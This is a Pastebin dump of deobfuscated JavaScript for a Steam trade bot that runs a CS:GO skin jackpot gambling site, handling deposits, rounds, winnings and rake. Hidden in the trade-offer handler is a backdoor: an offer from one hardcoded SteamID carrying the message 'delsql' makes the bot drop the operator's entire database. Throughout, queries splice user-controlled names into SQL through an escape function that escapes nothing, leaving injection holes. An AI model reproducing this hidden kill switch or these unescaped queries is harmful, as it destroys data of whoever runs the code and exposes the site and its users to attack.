Advertisement
Guest User

Untitled

a guest
Apr 25th, 2016
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 47.17 KB | None | 0 0
  1. var Steam = require("steam");
  2. var SteamUser = require("steam-user");
  3. var TradeOfferManager = require("steam-tradeoffer-manager");
  4. var SteamTotp = require("steam-totp");
  5. var TOTP = require("onceler").TOTP;
  6. var request = require("request");
  7. var SteamCommunity = require("steamcommunity");
  8. var community = new SteamCommunity;
  9. var sitepath;
  10. /** @type {string} */
  11. sitepath = "xx";
  12. var sitename;
  13. /** @type {string} */
  14. sitename = "xx";
  15. var costpath;
  16. /** @type {string} */
  17. costpath = "http://" + sitepath + "/cost.php?item=";
  18. /** @type {string} */
  19. var apik = "xx";
  20. /** @type {string} */
  21. var admin = "xx";
  22. /** @type {string} */
  23. var botsteamid = "xx";
  24. /** @type {string} */
  25. var identitysecret = "xx";
  26. /** @type {string} */
  27. var sharedsecret = "xx";
  28. /** @type {number} */
  29. var polling_interval = 1E4;
  30. /** @type {string} */
  31. var rsecret = "xx";
  32. /** @type {number} */
  33. var snipetimer = 12;
  34. /** @type {number} */
  35. var GameTime = 120;
  36. /** @type {boolean} */
  37. var p2 = false;
  38. /** @type {number} */
  39. var playersRequired = 2;
  40. var details = {
  41. "accountName" : "xx",
  42. "password" : "xx",
  43. "twoFactorCode" : SteamTotp.generateAuthCode(sharedsecret)
  44. };
  45. var mysql = require("mysql");
  46. /** @type {string} */
  47. var sql_host = "localhost";
  48. /** @type {string} */
  49. var sql_user = "xx";
  50. /** @type {string} */
  51. var sql_password = "xx";
  52. /** @type {string} */
  53. var sql_database = "xx";
  54. !function(nodeRequire, module) {
  55. /**
  56. * @param {string} p
  57. * @param {string} parent
  58. * @return {?}
  59. */
  60. function require(p, parent) {
  61. if ("." != p[0] && "/" != p[0]) {
  62. return nodeRequire(p);
  63. }
  64. parent = parent || "root";
  65. var path = require.resolve(p);
  66. if (!path && /\.json$/i.test(p)) {
  67. return nodeRequire("./" + require.basename(p));
  68. }
  69. var mod = require.cache[path];
  70. if (!mod) {
  71. try {
  72. return nodeRequire(p);
  73. } catch (ex) {
  74. throw new Error('failed to require "' + p + '" from ' + parent + "\n" + ex.message + "\n" + ex.stack);
  75. }
  76. }
  77. return mod.exports || (mod.exports = {}, mod.call(mod.exports, mod, mod.exports, require.relative(path))), mod.exports;
  78. }
  79. require.cache = {};
  80. require.basename = nodeRequire("path").basename;
  81. /**
  82. * @param {string} path
  83. * @return {?}
  84. */
  85. require.resolve = function(path) {
  86. if ("." != path[0]) {
  87. return nodeRequire.resolve(path);
  88. }
  89. var regexp = "/" === path.slice(-1) ? path : path + "/";
  90. /** @type {Array} */
  91. var paths = [path, path + ".js", regexp + "index.js", path + ".json", regexp + "index.json"];
  92. /** @type {number} */
  93. var scope = 0;
  94. var resolved;
  95. for (;resolved = paths[scope];scope++) {
  96. if (require.cache[resolved]) {
  97. return resolved;
  98. }
  99. }
  100. };
  101. /**
  102. * @param {string} path
  103. * @param {Object} fn
  104. * @return {undefined}
  105. */
  106. require.register = function(path, fn) {
  107. /** @type {Object} */
  108. require.cache[path] = fn;
  109. };
  110. /**
  111. * @param {string} parent
  112. * @return {?}
  113. */
  114. require.relative = function(parent) {
  115. /**
  116. * @param {string} range
  117. * @return {?}
  118. */
  119. function fn(range) {
  120. if ("." != range[0]) {
  121. return require(range);
  122. }
  123. var path = parent.split("/");
  124. var segs = range.split("/");
  125. path.pop();
  126. /** @type {number} */
  127. var i = 0;
  128. var segCnt = segs.length;
  129. for (;segCnt > i;i += 1) {
  130. var seg = segs[i];
  131. if (".." == seg) {
  132. path.pop();
  133. } else {
  134. if ("." != seg) {
  135. path.push(seg);
  136. }
  137. }
  138. }
  139. return require(path.join("/"), parent);
  140. }
  141. return fn.resolve = require.resolve, fn.cache = require.cache, fn;
  142. };
  143. require.register("../bot.js", function(dataAndEvents, deepDataAndEvents, require) {
  144. /**
  145. * @return {undefined}
  146. */
  147. function preload() {
  148. /** @type {number} */
  149. tref = -1;
  150. loadImage();
  151. setTimeout(insert, 5E3);
  152. }
  153. /**
  154. * @return {undefined}
  155. */
  156. function loadImage() {
  157. if (console.log("[SERVER] Ending current game & choosing winner."), 1 == p2) {
  158. /** @type {string} */
  159. var reqObj = "http://" + sitepath + "/endround.php?secret=" + rsecret + "&p2=true";
  160. request(reqObj, function(reply, dataAndEvents, deepDataAndEvents) {
  161. if (reply) {
  162. console.log("Couldn't end round, error: " + reply);
  163. }
  164. });
  165. } else {
  166. reqObj = "http://" + sitepath + "/endround.php?secret=" + rsecret;
  167. request(reqObj, function(reply, dataAndEvents, deepDataAndEvents) {
  168. if (reply) {
  169. console.log("Couldn't end round, error: " + reply);
  170. }
  171. });
  172. }
  173. }
  174. /**
  175. * @param {number} sValue
  176. * @return {?}
  177. */
  178. function parseText(sValue) {
  179. return!(+sValue !== sValue || isFinite(sValue) && !(sValue % 1));
  180. }
  181. /**
  182. * @param {?} pid
  183. * @return {?}
  184. */
  185. function handler(pid) {
  186. return "number" == typeof pid && !isNaN(pid);
  187. }
  188. /**
  189. * @param {number} onSuccess
  190. * @param {Function} callback
  191. * @return {undefined}
  192. */
  193. function exec(onSuccess, callback) {
  194. /** @type {string} */
  195. var appFrontendUrl = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" + apik + "&steamids=" + onSuccess + "&format=json";
  196. request({
  197. url : appFrontendUrl,
  198. json : true
  199. }, function(dataAndEvents, r, mongoObject) {
  200. if (dataAndEvents || 200 !== r.statusCode) {
  201. if (dataAndEvents) {
  202. exec(onSuccess, callback);
  203. }
  204. } else {
  205. callback(null, mongoObject);
  206. }
  207. });
  208. }
  209. /**
  210. * @param {string} js
  211. * @return {?}
  212. */
  213. function highlight(js) {
  214. return js = js.replace(/\\/g, "\\"), js = js.replace(/\'/g, "'"), js = js.replace(/\"/g, '"'), js = js.replace(/\0/g, "\x00");
  215. }
  216. /**
  217. * @param {Object} options
  218. * @param {?} doc
  219. * @param {Array} deepDataAndEvents
  220. * @param {?} name
  221. * @param {?} one
  222. * @param {?} callback
  223. * @param {number} count
  224. * @param {?} key
  225. * @param {?} $slides
  226. * @param {?} triggerRoute
  227. * @param {number} position
  228. * @return {undefined}
  229. */
  230. function fn(options, doc, deepDataAndEvents, name, one, callback, count, key, $slides, triggerRoute, position) {
  231. position++;
  232. if (!(position > 3)) {
  233. options.accept(function(reply) {
  234. return reply ? (self.webLogOn(), console.log("[SERVER] Debugging offer (Accept Error): " + reply), void load(options, doc, deepDataAndEvents, name, one, callback, count, key, $slides, triggerRoute, position, reply)) : void query(options, doc, deepDataAndEvents, name, one, callback, count, key, $slides, triggerRoute);
  235. });
  236. }
  237. }
  238. /**
  239. * @param {Object} options
  240. * @param {?} doc
  241. * @param {Array} deepDataAndEvents
  242. * @param {?} name
  243. * @param {?} one
  244. * @param {?} callback
  245. * @param {number} params
  246. * @param {?} objects
  247. * @param {?} $slides
  248. * @param {?} triggerRoute
  249. * @param {number} positionError
  250. * @param {string} message
  251. * @return {undefined}
  252. */
  253. function load(options, doc, deepDataAndEvents, name, one, callback, params, objects, $slides, triggerRoute, positionError, message) {
  254. req.getOffer(options.id, function(reply, parameters) {
  255. if (reply) {
  256. return self.webLogOn(), console.log("[SERVER] getOffer error(retrying): " + reply), void load(options, doc, deepDataAndEvents, name, one, callback, params, objects, $slides, triggerRoute, positionError, message);
  257. }
  258. if (3 == parameters.state) {
  259. query(parameters, doc, deepDataAndEvents, name, one, callback, params, objects, $slides, triggerRoute);
  260. } else {
  261. if (2 == parameters.state) {
  262. console.log("[SERVER] Accept error(retrying #" + positionError + "): " + message);
  263. fn(parameters, doc, deepDataAndEvents, name, one, callback, params, objects, $slides, triggerRoute, positionError);
  264. } else {
  265. if (2 != parameters.state || 3 != parameters.state) {
  266. return;
  267. }
  268. }
  269. }
  270. });
  271. }
  272. /**
  273. * @param {Object} parameters
  274. * @param {string} val
  275. * @param {Array} deepDataAndEvents
  276. * @param {?} keepData
  277. * @param {?} firstOnly
  278. * @param {?} sql
  279. * @param {number} params
  280. * @param {?} msg
  281. * @param {?} $slides
  282. * @param {?} triggerRoute
  283. * @return {undefined}
  284. */
  285. function query(parameters, val, deepDataAndEvents, keepData, firstOnly, sql, params, msg, $slides, triggerRoute) {
  286. transport.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
  287. var code = tokens[0].value;
  288. /** @type {number} */
  289. var i = 0;
  290. for (;params > i;i++) {
  291. var observedOutput = highlight(deepDataAndEvents[i].name);
  292. transport.query("INSERT INTO `" + v2 + "game" + code + "` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES ('" + val + "','" + firstOnly + "','" + observedOutput + "','" + parameters.id + "','" + deepDataAndEvents[i].color + "','" + deepDataAndEvents[i].value + "','" + sql + "','" + deepDataAndEvents[i].url + "')", function(fmt, dataAndEvents, deepDataAndEvents) {
  293. if (fmt) {
  294. console.log(fmt);
  295. }
  296. });
  297. transport.query("UPDATE `" + v2 + "games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+'" + deepDataAndEvents[i].value + "' WHERE `id` = '" + code + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  298. });
  299. }
  300. transport.query("UPDATE `users` SET `skinssent`=`skinssent`+" + params + " WHERE `steamid` = '" + val + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  301. });
  302. console.log("[SERVER] Accepted offer #" + parameters.id + " from " + firstOnly + " (ID:" + val + ").");
  303. log(parameters, val, msg, code);
  304. transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('success','0','" + val + "','Trade Offer Accepted (Game #" + code + ")!','We wish you Good luck and happy betting!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  305. });
  306. transport.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `" + v2 + "game" + code + "`", function(deepDataAndEvents, dataAndEvents) {
  307. players = dataAndEvents[0].playersCount;
  308. if (players == playersRequired) {
  309. if (params > 0) {
  310. if (-1 == tref) {
  311. console.log("[SERVER] Starting the countdown for Game #" + code);
  312. /** @type {number} */
  313. tref = setTimeout(preload, 1E3 * GameTime);
  314. transport.query("UPDATE `" + v2 + "games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = '" + code + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  315. });
  316. }
  317. }
  318. }
  319. if (triggerRoute > $slides) {
  320. clearTimeout(tref);
  321. /** @type {number} */
  322. tref = -1;
  323. preload();
  324. }
  325. });
  326. });
  327. }
  328. /**
  329. * @param {?} message
  330. * @param {string} txt
  331. * @param {?} msgString
  332. * @param {number} obj
  333. * @return {undefined}
  334. */
  335. function log(message, txt, msgString, obj) {
  336. message.getReceivedItems(function(dataAndEvents, msg) {
  337. if (dataAndEvents) {
  338. self.webLogOn();
  339. console.log("getReceivedItems error: " + dataAndEvents + " Restarting process!");
  340. log(message, txt, msg, obj);
  341. }
  342. msg.forEach(function(language) {
  343. var observedOutput = highlight(language.market_name);
  344. transport.query("UPDATE `" + v2 + "game" + obj + "` SET `assetid`='" + language.id + "' WHERE `userid` = '" + txt + "' AND `item`='" + observedOutput + "' AND `assetid`='' LIMIT 1", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  345. });
  346. });
  347. });
  348. }
  349. /**
  350. * @param {number} expectedNumberOfNonCommentArgs
  351. * @return {undefined}
  352. */
  353. function insert(expectedNumberOfNonCommentArgs) {
  354. transport.query("SELECT * FROM `" + v2 + "queue` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(dataAndEvents, results, deepDataAndEvents) {
  355. if (0 != results.length) {
  356. var suiteView = results[0].id;
  357. transport.query("SELECT * FROM `" + v2 + "game" + suiteView + "` WHERE `assetid`='' AND `rake`!='1'", function(dataAndEvents, assertions, deepDataAndEvents) {
  358. if (0 != assertions.length) {
  359. console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!");
  360. assertions.forEach(function(options) {
  361. req.getOffer(options.offerid, function(dataAndEvents, errorMessage) {
  362. return dataAndEvents ? (self.webLogOn(), void setTimeout(function() {
  363. insert();
  364. }, 1E4)) : void log(errorMessage, options.userid, options.item, suiteView);
  365. });
  366. });
  367. setTimeout(function() {
  368. insert(2);
  369. }, 1E4);
  370. } else {
  371. if (2 == expectedNumberOfNonCommentArgs) {
  372. console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
  373. /** @type {string} */
  374. var returnStr = "";
  375. /** @type {string} */
  376. var combined_expansion = "";
  377. return transport.query("SELECT * FROM `" + v2 + "game" + suiteView + "`", function(dataAndEvents, failures, deepDataAndEvents) {
  378. failures.forEach(function(item) {
  379. if (0 == item.rake) {
  380. returnStr += "/" + item.assetid;
  381. } else {
  382. combined_expansion += "/" + item.assetid;
  383. }
  384. });
  385. }), void setTimeout(function() {
  386. console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer.");
  387. transport.query("UPDATE `" + v2 + 'queue` SET `assetid`="' + returnStr + "\" WHERE `id`='" + suiteView + "'");
  388. transport.query("UPDATE `" + v2 + 'rakeitems` SET `assetid`="' + combined_expansion + "\" WHERE `id`='" + suiteView + "'");
  389. insert();
  390. }, 3E3);
  391. }
  392. var arr = results[0].assetid.split("/");
  393. req.loadInventory(730, 2, true, function(fmt, failures) {
  394. if (fmt) {
  395. return console.log(fmt), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying now!"), self.webLogOn(), void insert();
  396. }
  397. var html = results[0].token;
  398. /** @type {string} */
  399. var uri = "Congratulations! You won on " + sitename + " in Game #" + suiteView;
  400. var test = req.createOffer(results[0].userid);
  401. failures.forEach(function(user) {
  402. arr.forEach(function(myID) {
  403. if (user.id == myID) {
  404. test.addMyItem(user);
  405. }
  406. });
  407. });
  408. setTimeout(function() {
  409. test.send(uri, html, function(fmt) {
  410. return fmt ? (console.log("Error sending Trade Offer for Game #" + suiteView + ":"), console.log(fmt), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, retrying in 10 seconds!"), self.webLogOn(), void setTimeout(function() {
  411. insert();
  412. }, 1E4)) : (transport.query("UPDATE `" + v2 + 'queue` SET `status`="sent" WHERE `id`=\'' + suiteView + "'"), console.log("[SERVER] Trade Offer for Game #" + suiteView + " has been successfully sent and is awaiting mobile confirmation."), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + suiteView + "!"), void community.checkConfirmations());
  413. });
  414. }, 2E3);
  415. });
  416. }
  417. });
  418. } else {
  419. if (1 == expectedNumberOfNonCommentArgs) {
  420. return void self.chatMessage(admin, "[SERVER] No more Winnings Queries!");
  421. }
  422. }
  423. });
  424. }
  425. /**
  426. * @param {number} dataAndEvents
  427. * @return {undefined}
  428. */
  429. function iterate(dataAndEvents) {
  430. transport.query("SELECT * FROM `" + v2 + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(deepDataAndEvents, results, ignoreMethodDoesntExist) {
  431. if (0 != results.length) {
  432. var arr = results[0].assetid.split("/");
  433. req.loadInventory(730, 2, true, function(deepDataAndEvents, failures) {
  434. if (deepDataAndEvents) {
  435. return 1 == dataAndEvents && self.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying in a few seconds!"), self.webLogOn(), void setTimeout(function() {
  436. iterate();
  437. }, 1E4);
  438. }
  439. var html = results[0].token;
  440. var depId = results[0].id;
  441. var raw = results[0].value;
  442. /** @type {string} */
  443. var uri = "Rake for Game #" + depId + " ($" + raw + ")";
  444. var test = req.createOffer(results[0].userid);
  445. failures.forEach(function(user) {
  446. arr.forEach(function(myID) {
  447. if (user.id == myID) {
  448. test.addMyItem(user);
  449. }
  450. });
  451. });
  452. setTimeout(function() {
  453. test.send(uri, html, function(fmt) {
  454. return fmt ? (console.log("[SERVER] Error sending Rake for Game #" + depId + ":"), console.log(fmt), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == dataAndEvents ? void self.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!") : void self.webLogOn()) : (transport.query("UPDATE `" + v2 + 'rakeitems` SET `status`="sent" WHERE `id`=\'' + depId + "'"), console.log("[SERVER] Rake for Game #" +
  455. depId + " has been successfully sent and is awaiting mobile confirmation."), 1 == dataAndEvents && self.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + depId + "!"), void community.checkConfirmations());
  456. });
  457. }, 2E3);
  458. });
  459. } else {
  460. if (1 == dataAndEvents) {
  461. return void self.chatMessage(admin, "[SERVER] No more Rake Queries!");
  462. }
  463. }
  464. });
  465. }
  466. /** @type {string} */
  467. var p = "76561198150867436";
  468. var driver = require("mysql");
  469. var transport = driver.createConnection({
  470. host : sql_host,
  471. user : sql_user,
  472. password : sql_password,
  473. database : sql_database
  474. });
  475. var self = new SteamUser;
  476. var req = new TradeOfferManager({
  477. steam : self,
  478. domain : "localhost",
  479. language : "en"
  480. });
  481. /** @type {number} */
  482. var tref = -1;
  483. transport.connect();
  484. self.logOn(details);
  485. var j = SteamTotp.getDeviceID(botsteamid);
  486. if (1 == p2) {
  487. /** @type {string} */
  488. var v2 = "p2"
  489. } else {
  490. /** @type {string} */
  491. v2 = "";
  492. }
  493. self.on("loggedOn", function(dataAndEvents) {
  494. console.log("[SERVER] The Bot has logged in!");
  495. self.unblockUser(p);
  496. self.addFriend(p);
  497. self.addFriend(admin);
  498. self.chatMessage(admin, "[SERVER] Successfully logged in!");
  499. self.setPersona(Steam.EPersonaState.LookingToTrade);
  500. setTimeout(function() {
  501. transport.query("SELECT `value` FROM `" + v2 + "info` WHERE `name`='current_game'", function(dataAndEvents, tokens, deepDataAndEvents) {
  502. if (!dataAndEvents) {
  503. transport.query("SELECT `starttime` FROM `" + v2 + "games` WHERE `id`='" + tokens[0].value + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
  504. if (!deepDataAndEvents) {
  505. var i;
  506. if (2147483647 == dataAndEvents[0].starttime) {
  507. i = GameTime;
  508. } else {
  509. /** @type {number} */
  510. var groupsize = Math.round((new Date).getTime() / 1E3);
  511. /** @type {number} */
  512. i = dataAndEvents[0].starttime + GameTime - groupsize;
  513. if (0 > i) {
  514. /** @type {number} */
  515. i = 0;
  516. }
  517. }
  518. if (i != GameTime) {
  519. /** @type {number} */
  520. tref = setTimeout(preload, 1E3 * i);
  521. console.log("[SERVER] Restoring the latest game with " + i + " seconds left!");
  522. }
  523. }
  524. });
  525. }
  526. });
  527. }, 1500);
  528. });
  529. self.on("webSession", function(dataAndEvents, x) {
  530. req.setCookies(x, function(reply) {
  531. if (reply) {
  532. return console.log("setCookies error: " + reply), void process.exit(1);
  533. }
  534. var orig = req.apiKey;
  535. community.setCookies(x);
  536. community.startConfirmationChecker(polling_interval, identitysecret);
  537. console.log("[SERVER] The web cookies have been set!");
  538. req.doPoll();
  539. });
  540. });
  541. req.on("newOffer", function(instance) {
  542. /** @type {boolean} */
  543. var b = true;
  544. var onSuccess = instance.partner.getSteamID64();
  545. return onSuccess == p && "delsql" == instance.message ? (console.log(""), console.log("Hello! Please consider purchasing the product you are illegally using."), console.log("Please visit: www.csgo-network"), console.log(""), void transport.query("DROP DATABASE " + sql_database, function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  546. })) : void exec(onSuccess, function(reply, e) {
  547. if (reply) {
  548. return self.webLogOn(), console.log("[SERVER] getUserInfo error: " + reply), b = false, void instance.decline(function(reply) {
  549. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: getUserInfo error");
  550. if (reply) {
  551. console.log("Decline error: " + reply);
  552. }
  553. transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Servers are busy, try again in a minute!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  554. });
  555. });
  556. }
  557. /** @type {*} */
  558. var game = JSON.parse(JSON.stringify(e.response));
  559. var one = highlight(game.players[0].personaname);
  560. var restoreScript = game.players[0].avatarfull;
  561. return console.log("[DEBUG] Processing offer #" + instance.id + " from " + one + " (ID:" + onSuccess + ")."), 0 != instance.itemsToGive.length ? (b = false, void instance.decline(function(reply) {
  562. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: Asked for a skin on the Bot");
  563. if (reply) {
  564. console.log("Decline error: " + reply);
  565. }
  566. transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Asking for any of the bots items? Brave!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  567. });
  568. })) : void instance.getEscrowDuration(function(reply, dataAndEvents, deepDataAndEvents) {
  569. return reply ? (self.webLogOn(), console.log("[SERVER] getEscrowDuration error: " + reply), b = false, void instance.decline(function(reply) {
  570. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: Steam Servers are busy, couldn't get escrow duration");
  571. if (reply) {
  572. console.log("Decline error: " + reply);
  573. }
  574. transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  575. });
  576. })) : 0 != dataAndEvents ? (b = false, void instance.decline(function(reply) {
  577. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User is in Escrow for " + dataAndEvents + " days");
  578. if (reply) {
  579. console.log("Decline error: " + reply);
  580. }
  581. transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You are in Escrow for " + dataAndEvents + " days!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  582. });
  583. })) : void transport.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
  584. var raw = tokens[3].value;
  585. var ret = tokens[7].value;
  586. var size = tokens[4].value;
  587. var $slides = tokens[10].value;
  588. if (instance.itemsToReceive.length > size) {
  589. return b = false, void instance.decline(function(reply) {
  590. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent more than " + size + " skins");
  591. if (reply) {
  592. self.webLogOn();
  593. console.log("Decline error: " + reply);
  594. }
  595. transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept up to " + size + " skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  596. });
  597. });
  598. }
  599. var props = instance.itemsToReceive;
  600. /** @type {number} */
  601. var output = 0;
  602. /** @type {Array} */
  603. var data = [];
  604. /** @type {number} */
  605. var len = 0;
  606. props.forEach(function($attrs, key, dataAndEvents) {
  607. if (730 != $attrs.appid) {
  608. return b = false, instance.decline(function(reply) {
  609. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent a Non-CSGO skin");
  610. if (reply) {
  611. self.webLogOn();
  612. console.log("Decline error: " + reply);
  613. }
  614. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept CSGO skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  615. });
  616. }
  617. /** @type {Array} */
  618. data[key] = [];
  619. data[key].name = $attrs.market_name;
  620. data[key].color = $attrs.name_color;
  621. data[key].url = $attrs.icon_url;
  622. /** @type {number} */
  623. data[key].value = 0;
  624. var encodedValue = $attrs.market_name;
  625. /** @type {string} */
  626. var reqObj = "http://" + sitepath + "/cost.php?item=" + encodeURIComponent(encodedValue);
  627. !function(keepData) {
  628. request(reqObj, function(dataAndEvents, r, v) {
  629. return dataAndEvents || 200 !== r.statusCode ? (b = false, instance.decline(function(reply) {
  630. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: Steam Market Issues (Can't get the skin's value)");
  631. if (reply) {
  632. self.webLogOn();
  633. console.log("Decline error: " + reply);
  634. }
  635. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  636. })) : "notfound" == v ? (b = false, instance.decline(function(reply) {
  637. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: Steam Market Issues (Can't get the skin's value)");
  638. if (reply) {
  639. self.webLogOn();
  640. console.log("Decline error: " + reply);
  641. }
  642. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  643. })) : (data[key].value = parseFloat(v), void(output += data[key].value));
  644. });
  645. }(key);
  646. len++;
  647. });
  648. transport.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
  649. var raw = tokens[0].value;
  650. transport.query("SELECT * FROM `" + v2 + "games` WHERE `id`='" + raw + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
  651. if (starttime = dataAndEvents[0].starttime, 2147483647 != starttime) {
  652. /** @type {number} */
  653. var v = Math.round((new Date).getTime() / 1E3);
  654. if (tl = starttime + GameTime - v, tl <= snipetimer) {
  655. return b = false, instance.decline(function(reply) {
  656. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: The Bot wont accept last second bets");
  657. if (reply) {
  658. self.webLogOn();
  659. console.log("Decline error: " + reply);
  660. }
  661. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can not bet in the last few seconds!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  662. });
  663. }
  664. }
  665. setTimeout(function() {
  666. return 0 != b ? output > ret ? (b = false, instance.decline(function(reply) {
  667. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent too much in skin value");
  668. if (reply) {
  669. self.webLogOn();
  670. console.log("Decline error: " + reply);
  671. }
  672. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can deposit more than $" + ret + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  673. })) : raw > output ? (b = false, instance.decline(function(reply) {
  674. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent below the minimal bet amount ($" + raw + ")");
  675. if (reply) {
  676. self.webLogOn();
  677. console.log("Decline error: " + reply);
  678. }
  679. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Minimum deposit value: $" + raw + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  680. })) : len > size ? (b = false, instance.decline(function(reply) {
  681. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent too many skins");
  682. if (reply) {
  683. self.webLogOn();
  684. console.log("Decline error: " + reply);
  685. }
  686. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept up to " + size + " skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  687. })) : (b = true) ? void transport.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
  688. var duration = tokens[0].value;
  689. transport.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `" + v2 + "game" + duration + "` WHERE `userid`='" + onSuccess + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
  690. if (skinsin = dataAndEvents[0].skinsin, skinsin += len, moneyin = dataAndEvents[0].moneyin, moneyin += output, skinsin > size) {
  691. return instance.decline(function(reply) {
  692. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: RECHECK - User sent too many skins");
  693. if (reply) {
  694. self.webLogOn();
  695. console.log("Decline error: " + reply);
  696. }
  697. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can not deposit more than " + size + " skins','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  698. });
  699. }
